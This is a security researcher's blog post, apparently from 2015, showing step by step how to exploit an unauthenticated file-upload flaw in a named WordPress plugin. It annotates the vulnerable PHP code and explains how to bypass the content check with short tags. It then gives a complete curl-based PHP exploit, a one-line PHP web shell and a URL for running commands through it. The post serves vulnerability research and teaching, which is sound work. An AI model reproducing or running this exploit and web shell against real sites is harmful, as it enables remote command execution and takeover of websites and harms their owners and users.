B-C-METOYX

Developing a PoC Step by Step

Blog Post created by B-C-METOYX Employee on Dec 2, 2015

By Larry Cashdollar

 

I've received numerous questions about how I found so many Wordpress plugin vulnerabilities and how to write the exploits that were essential to the research.  I'll be honest, it's not hard if you have some experience in php programming and basic knowledge of secure programming.  To simplify things, we will narrow down certain traits of what plugins to examine.

Finding A Vulnerability

Looking at 38,000 plugins one file at a time would take much too long. Instead, I looked at files with specific names like upload.php, download.php or proxy.php.  The file names alluded to some operation of the plugin that is very sensitive and possibly done insecurely.  I also wanted the vulnerability to not require a valid Wordpress user. I thought vulnerabilities that didn't require user authentication would be the most fun.

Vulnerability Criteria

  1. Doesn't require authenticated Wordpress user
  2. MUST Processes user input via $_GET,$_POST,$_REQUEST
  3. Doesn't check if accessed directly
  4. Must have reachable code, not just defining a class

Developing an Exploit

I'll take a section of code that is vulnerable to remote file upload and step through it line by line as to what is required to successfully exploit it.  My comments are in blue.

Vulnerable Code

   27    if ( isset( $_POST['DATA_KEY'] ) ) {    Line 27: To reach the code we need DATA_KEY defined via POST   .   29      $dataKey = $_POST['DATA_KEY'];   30      $_SESSION[$dataKey]['file_uploaded'] = '';   .   32      if ( isset( $_POST['OP_TYPE'] ) ) {   Line 32: OP_TYPE also needs to be set to continue execution   34        $op_type = $_POST['OP_TYPE'];   35        $file_type = $op_type . '_file';   Line 35: OP_TYPE + _file will also need to be defined for $_FILES in line 37 below     37      if ( isset( $_FILES[$file_type] ) && !empty( $_FILES[$file_type] ) ) {   38     39          $file = $_FILES[$file_type];   40          $file_error = $file['error'];   41     42          if ( $file_error === UPLOAD_ERR_OK ) {   43     44            $tmp_name = $file['tmp_name'];   45     46            $file_type = false;   47            if( function_exists( 'finfo_fopen' ) ) {   48              $finfo = finfo_open( FILEINFO_MIME );   49                  $file_type = finfo_file( $finfo, $tmp_name );   50                  finfo_close( $finfo );   51            }   52            elseif( function_exists( 'mime_content_type' ) ) {   53              $file_type  = mime_content_type( $tmp_name );   Line 53: mime_content_type() determines mime-type based on file contents, so a basic web shell   is best   54            }   55      elseif ( !is_dir( $tmp_name ) && ( $fn = @fopen( $tmp_name , "rb" ) ) ) {   56              $bin = fread( $fn, $maxlen = 3072 );   57              fclose( $fn );   58            if ( strpos( $bin, "<?php" ) !== false )   Line 58: Sets the file_type variable to the mime type application/x-httpd-php based on the   presence of the string <?php, we can get around this by using short code which some servers   still allow    59              $file_type = "application/x-httpd-php";   60            }    65     66            if ( empty ( $file_type ) )   67              $file_type = $file['type'];   68     69            $csv_mimetypes = array(   70              'text/csv',   71              'text/plain',   72              'application/csv',   73              'text/comma-separated-values',   74              'application/excel',   75              'application/vnd.ms-excel',   76              'application/vnd.msexcel',   77              'text/anytext',   78              'application/txt',   79            );  



   81    if( in_array( $file_type, $csv_mimetypes ) ) {   Line 81: If the mime type is not present in that array throw an error and exit      83    if ( isset( $_POST['UPLOAD_DIR'] ) ) {   Line 83: We will need to define our upload path, this can be hard to guess but is vital for   exploitation   85    $wpsc_upload_dir = $_POST['UPLOAD_DIR'];   86    $dst_name = $file['name'];   87    $dest_file = $wpsc_upload_dir . $dst_name;   88    $dest_file = str_replace( '\\', '/', $dest_file ); // fix path   89     90    if ( move_uploaded_file( $tmp_name, $dest_file ) ) {   91      $_SESSION[$dataKey]['file_uploaded'] = $dest_file;   92        echo "success";  

The required parameters and fields that we need defined are below. These are required when we make our POST request to get a proof of concept working. 

  1. We need a $_POST request with DATA_KEY defined.
  2. Need a $_POST request with OP_TYPE defined as part of our filename.
  3. Also need $_POST with UPLOAD_DIR pointing at a writable path in web root.
  4. our $_FILES variable needs to have $OP_TYPE_FILE defined and pointing at our payload.
  5. Our payload needs to exist locally from our adversarial system.

Exploit:

  1. <?php
  2. echo "Running PoC against target site<br>";
  3. $uploadfile="/var/www/s.php3";
  4. $ch =
  5. curl_init("http://wpsite/wp-content/plugins/csv2wpec-coupon/csv2wpecCoupon_FileUpload.php");
  6. curl_setopt($ch, CURLOPT_POST, true);
  7. curl_setopt($ch, CURLOPT_POSTFIELDS,
  8.       array('UPLOAD_DIR'=>'/usr/share/wordpress/wp-content/uploads/','OP_TYPE'=>'shell','DATA_KEY'=>1,'shell_file'=>"@$uploadfile",'folder'=>'/usr/share/wordpress/wp-content/uploads/','name'=>'s.php3'));
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  10. $postResult = curl_exec($ch);
  11. curl_close($ch);
  12. print "$postResult";
  13. ?>



Where s.php3* is a small web shell like:


<?=@`$_GET[c]`;


Usage : http://wpsite/wp-content/uploads/shell.php3?c=id


* Credit https://gist.github.com/mastahyeti/1526009


Screen Shot 2015-11-10 at 6.32.27 PM.png

Shell Access

Screen Shot 2015-11-10 at 6.34.58 PM.png

Conclusion

I'm still actively looking at the security of newly published Wordpress plugins and software in general, and I plan to continue documenting tips and tidbits I discover as I go.  If you're a Wordpress site maintainer or someone looking to find vulnerabilities, it's always a good idea to look at the code you are deploying. 

Outcomes